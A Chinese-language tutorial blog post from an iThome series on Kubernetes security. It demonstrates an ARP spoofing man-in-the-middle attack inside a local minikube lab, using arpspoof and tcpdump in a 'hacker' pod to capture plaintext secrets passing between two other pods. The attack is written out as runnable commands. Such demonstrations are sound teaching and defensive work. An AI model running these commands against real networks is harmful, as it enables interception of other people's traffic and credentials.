iT邦幫忙

2023 iThome 鐵人賽

DAY 20
0

Yes

# 透過 minikube 開兩個 node 出來 (勘誤:這邊其實只有開一個 node,然後裡面有三個 Pod)
minikube delete && minikube start  ;

# 觀察這些 node 的 label
kubectl get nodes --show-labels ;
apiVersion: v1
kind: Namespace
metadata:
  name: client
---
apiVersion: v1
kind: Pod
metadata:
  name: client
  namespace: client
  labels:
    env: test
    app: client    
spec:
  affinity:
    nodeAffinity:
      requiredDuringSchedulingIgnoredDuringExecution:
        nodeSelectorTerms:
        - matchExpressions:
          - key: kubernetes.io/hostname
            operator: In
            values:
            - minikube      
  containers:
  - name: client
    image: aeifkz/my-ubuntu:v1.0
---
apiVersion: v1
kind: Namespace
metadata:
  name: server
---
apiVersion: v1
kind: Pod
metadata:
  name: server
  namespace: server
  labels:
    env: test
    app: server
spec:
  affinity:
    nodeAffinity:
      requiredDuringSchedulingIgnoredDuringExecution:
        nodeSelectorTerms:
        - matchExpressions:
          - key: kubernetes.io/hostname
            operator: In
            values:
            - minikube
  containers:
  - name: server
    image: aeifkz/my-ubuntu:v1.0
---
apiVersion: v1
kind: Pod
metadata:
  name: hacker
  labels:
    env: test
    app: hacker
spec:
  containers:
  - name: hacker
    image: aeifkz/my-ubuntu:v1.0
  • 以下分別是昨天封包監聽幾個重要的截圖 :

  • ARP Request 封包
    https://ithelp.ithome.com.tw/upload/images/20230927/20148308j5JwED2m1p.jpg

  • ARP Response 封包
    https://ithelp.ithome.com.tw/upload/images/20230927/20148308kMaWmdEvIA.jpg

  • ICMP 封包
    https://ithelp.ithome.com.tw/upload/images/20230927/20148308hsmLWsWXOB.jpg

  • TCP 封包
    https://ithelp.ithome.com.tw/upload/images/20230927/201483089f5wKGSLr9.jpg

  • 在大概了解 ARP 協定的機制之後,思考一個情形就是假如有個惡意的使用者一直在網路上散播不實的 ARP 回應,那這樣是不是就可以達到偽造的效果,攻擊手法的部分參考如下 :

https://ithelp.ithome.com.tw/upload/images/20230927/20148308SYqvI56oAr.jpg
參考來源 : ARP spoof hijack Ethernet/IP session.

  • 因此可以很簡易的透過 ARP spoofing 手法去監聽其他 pod 的網路傳輸資訊,作法如下。
  1. 剛剛有先建立三個 pod 節點,一個做為竊聽用,其餘兩個做為互相溝通

  2. 先取得 client 和 server 的 ip

# ex: 10.244.0.3
kubectl -n client exec client -- ifconfig ; 

# ex: 10.244.0.5
kubectl -n server exec server -- ifconfig ; 
  1. 在 hacker 裡面安裝 arpspoof、tcpdump 工具,並且下達偽造命令
kubectl exec -it hacker -- bash ;
apt update && apt install dsniff tcpdump -y ;
arpspoof -i eth0 -t 10.244.0.3 10.244.0.5 2> /dev/null & 
arpspoof -i eth0 -t 10.244.0.5 10.244.0.3 2> /dev/null &
tcpdump -i eth0 -w hack.pcap ;
  1. 在 server 和 client 進行連線
# 連到客戶端對伺服器進行連接
kubectl -n client exec -it client -- bash ; 

# 透過 nc 測試開放的 port 連線
nc [server_ip] 30089 ;

# 模擬送了一些機敏資訊給 server
echo "abc=secret" ;

# 回到宿主機透過 kubectl cp 將檔案複製出來
kubectl cp  hacker:hack.pcap ./hack.pcap ;
  1. 透過 wireshark 開啟 pcap 檔案,可以觀察到在 hack.pcap 會看到很多吵雜的 ARP 封包回應。並且會看到傳輸的機敏資訊,這是因為封包受到 ARP spoofing 的影響而會流過 hacker,所以在 hacker 上面進行監聽會看到封包,一旦封包內的協定沒有加密就會看到機敏資訊。
  • 作業六 : 要監聽特定 Pod 的封包時都必須在裡面安裝及執行 tcpdump 後再透過 kubectl cp 把檔案複製出來,感覺實在是很麻煩。請研究一下如何透過 ksniff 針對特定節點抓取封包,這個工具的排錯方法以及用法會在期中考的時候用到,屆時也會一併公布解答。/images/emoticon/emoticon33.gif

  • 今日總結 :

    • 本日回顧 :

      • 今天針對 K8s 內部的網路進行攻擊測試,實測上得知 K8s 預設沒有對內部的 pod 做出任何的限制。也因此在這樣的環境下就衍伸為網路的攻擊手法演示。這邊介紹的是最基本的 ARP spoofing,當然還有其他的網路攻擊手法,參考如下圖,但我就不太熟悉了。/images/emoticon/emoticon02.gif
        https://ithelp.ithome.com.tw/upload/images/20230927/20148308SKJkqG9jry.jpg
        圖片來源 : Common Security Attacks in the OSI Layer Model
    • 次日預告 :

      • 因為 minikube 的結構是將 master node 跟 worker node 擺在一塊,所以導致一旦逃逸到 worker node 也意味著 master node 一併淪陷,那有沒有其他手法是針對 master ndoe 跟 worker node 分離的情況下做攻擊的呢? 答案是有的,所以下次將會介紹如何在 minikube 中開啟 master node、worker node 分離的架構,以及汙點橫移的特殊手法 。 /images/emoticon/emoticon31.gif

上一篇
Day20 - (新手向) K8s Networking 連通測試
下一篇
Day22 - (攻擊) k8s 汙點橫移攻擊
系列文
怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了63
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言